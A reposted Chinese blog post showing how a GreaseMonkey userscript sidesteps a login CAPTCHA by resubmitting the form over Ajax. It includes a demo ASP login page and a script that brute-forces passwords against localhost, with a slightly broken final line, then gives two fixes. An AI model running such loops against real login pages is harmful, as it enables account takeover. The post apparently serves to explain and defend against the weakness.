GreaseMonkey让网站登录验证码形同虚设

2023-10-11 00:10

本文主要是介绍GreaseMonkey让网站登录验证码形同虚设,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

通常,为了增加暴力猜解网站用户密码的难度,我们会在网页登录框中增加一个验证码,验证码保存在服务器端,而客户端则使用一张图片显示:



验证码在整个登录过程表现为:用户打开登录页面时,服务器产生一个验证码,点击登录后,跳转到登录页面,服务器端检查用户输入的验证码是否正确,若错误,跳回到登录页面,生成一个新验证码让用户再次输入登录。 注意,生成新验证码的条件是登录页面刷新了!

以前没觉得这有什么问题,今天了解12306自动登录脚本后,发现这问题太严重了,当使用GreaseMonkey时,简直可以无视验证码的存在,原因是 借助GreaseMonkey可以在页面使用Ajax提交表单进行登录,这过程不会刷新登录页面,所以服务器不会生成新验证码,因而只要手工输下验证码,脚本就可以不断尝试登录进行猜解用户名密码!

1.GreaseMonkey自动登录演示


为了减少代码量,便于说明问题,下边演示时验证码不转为图形,直接输出Session,效果一样,不影响结论。

 

Default.asp:
View Code
<%@LANGUAGE= " VBSCRIPT " CODEPAGE= " 65001 "%>
<!DOCTYPE html  PUBLIC  " -//W3C//DTD XHTML 1.0 Transitional//EN "  " http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd ">
<html xmlns= " http://www.w3.org/1999/xhtml ">
<head>
<meta http-equiv= " Content-Type " content= " text/html; charset=utf-8 " />
<title>登录演示</title>
</head>

<body>
<%
Randomize
SESSION( " passCode ") =  Int( 8999* Rnd+ 1000' 生成验证码
%>
<form id= " form1 " name= " form1 " method= " post " action= " Login.asp ">
用户名:<input type= " text " name= " txtUsn " id= " txtUsn " /><br />
密码:<input type= " text " name= " txtUsp " id= " txtUsp " /><br />
验证码:<input type= " text " name= " txtPassCode " id= " txtPassCode " /><%=SESSION( " passCode ")%> <br />
<input type= " submit " name= " btn1 " id= " btn1 " value= " 提交 " />
</form>
</body>
</html>
Login.asp:
View Code
<%
Response.Charset =  " utf-8 "

Dim usn, usp, code, msg
usn = Request.Form( " txtUsn ")
usp = Request.Form( " txtUsp ")
code = Request.Form( " txtPassCode ")

Response.Write(Login(usn, usp, code))

' 登录函数
Function Login(usn, usp, code)
     If SESSION( " Login ") =  True  Then
        Login =  " 登录成功. "
     Else
         If usn<> ""  And usp<> ""  Then
             If code<> CStr(SESSION( " passCode "))  Then
                Login =  " 验证码出错,请重新输入. "
                 Exit  Function
             End  If
        
             If usn= " admin "  And usp= " admin888 "  Then
                SESSION( " Login ") =  True
                Login =  " 登录成功. "
             Else
                Login =  " 用户名或密码出错,请重新输入. "
             End  If
         Else
            Login =  " 用户未登录. "
         End  If
     End  If    
End Function
%>
复制代码
GreaseMonkey脚本:
View Code
//  ==UserScript==
//
 @name           自动登录
//
 @namespace      com.mzwu
//
 @include        http://localhost/default.asp
//
 @require           https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js
//
 ==/UserScript==


if( typeof($) != "undefined")
{
    $("body").append("<input type=\"button\" name=\"btn2\" id=\"btn2\" value=\"登录测试\" />");

    $("#btn2").click( function(){
         var usn = "admin";
         var usp = "";
         var code = $("#txtPassCode").val();
         var responseText = "";
         var i = 0;

         while(responseText.indexOf("登录成功") == -1)
        {
            usp = "admin88" + (++i);  // 猜解密码
            $.ajax({
                type : "POST",
                url  : "Login.asp?r=" + Math.random(),
                data : "txtUsn=" + usn + "&txtUsp=" + usp + "&txtPassCode=" + code,
                async:  false,
                success :  function(msg){
                    responseText = msg;
                     if(responseText.indexOf("登录成功") != -1)
                    {
                        alert("登录成功.尝试次数:" + i);
                        location.href = "Login.asp";
                    }
                }
            });
        }
    });

    clearInteval(timer);
}
复制代码
测试结果:

 


2.解决方法


提供两种解决方法供参考:

方法一:当验证登录用户名或密码出错时,服务器端强制生成新验证码;
方法二:当尝试登录5次失败时,将帐户锁定一段时间不能登录;

3.参考资料

[1].Firefox扩展Greasemonkey使用示例: http://www.mzwu.com/article.asp?id=3091

这篇关于GreaseMonkey让网站登录验证码形同虚设的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:https://blog.csdn.net/binyao02123202/article/details/7211105
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/184101

相关文章

如何关闭Mac的Safari通知? 3招教你关闭Safari浏览器网站通知的技巧

《如何关闭Mac的Safari通知?3招教你关闭Safari浏览器网站通知的技巧》当我们在使用Mac电脑专注做一件事情的时候,总是会被一些消息推送通知所打扰,这时候,我们就希望关闭这些烦人的Mac通... Safari 浏览器的「通知」功能本意是为了方便用户及时获取最新资讯,但很容易被一些网站滥用,导致我们

Web技术与Nginx网站环境部署教程

《Web技术与Nginx网站环境部署教程》:本文主要介绍Web技术与Nginx网站环境部署教程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、Web基础1.域名系统DNS2.Hosts文件3.DNS4.域名注册二.网页与html1.网页概述2.HTML概述3.

SpringBoot后端实现小程序微信登录功能实现

《SpringBoot后端实现小程序微信登录功能实现》微信小程序登录是开发者通过微信提供的身份验证机制,获取用户唯一标识(openid)和会话密钥(session_key)的过程,这篇文章给大家介绍S... 目录SpringBoot实现微信小程序登录简介SpringBoot后端实现微信登录SpringBoo

kali linux 无法登录root的问题及解决方法

《kalilinux无法登录root的问题及解决方法》:本文主要介绍kalilinux无法登录root的问题及解决方法,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,... 目录kali linux 无法登录root1、问题描述1.1、本地登录root1.2、ssh远程登录root2、

springboot security验证码的登录实例

《springbootsecurity验证码的登录实例》:本文主要介绍springbootsecurity验证码的登录实例,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,... 目录前言代码示例引入依赖定义验证码生成器定义获取验证码及认证接口测试获取验证码登录总结前言在spring

Python实现自动化接收与处理手机验证码

《Python实现自动化接收与处理手机验证码》在移动互联网时代,短信验证码已成为身份验证、账号注册等环节的重要安全手段,本文将介绍如何利用Python实现验证码的自动接收,识别与转发,需要的可以参考下... 目录引言一、准备工作1.1 硬件与软件需求1.2 环境配置二、核心功能实现2.1 短信监听与获取2.

最新Spring Security实战教程之表单登录定制到处理逻辑的深度改造(最新推荐)

《最新SpringSecurity实战教程之表单登录定制到处理逻辑的深度改造(最新推荐)》本章节介绍了如何通过SpringSecurity实现从配置自定义登录页面、表单登录处理逻辑的配置,并简单模拟... 目录前言改造准备开始登录页改造自定义用户名密码登陆成功失败跳转问题自定义登出前后端分离适配方案结语前言

Flask 验证码自动生成的实现示例

《Flask验证码自动生成的实现示例》本文主要介绍了Flask验证码自动生成的实现示例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习... 目录生成图片以及结果处理验证码蓝图html页面展示想必验证码大家都有所了解,但是可以自己定义图片验证码

Oracle登录时忘记用户名或密码该如何解决

《Oracle登录时忘记用户名或密码该如何解决》:本文主要介绍如何在Oracle12c中忘记用户名和密码时找回或重置用户账户信息,文中通过代码介绍的非常详细,对同样遇到这个问题的同学具有一定的参... 目录一、忘记账户:二、忘记密码:三、详细情况情况 1:1.1. 登录到数据库1.2. 查看当前用户信息1.

SpringBoot集成图片验证码框架easy-captcha的详细过程

《SpringBoot集成图片验证码框架easy-captcha的详细过程》本文介绍了如何将Easy-Captcha框架集成到SpringBoot项目中,实现图片验证码功能,Easy-Captcha是... 目录SpringBoot集成图片验证码框架easy-captcha一、引言二、依赖三、代码1. Ea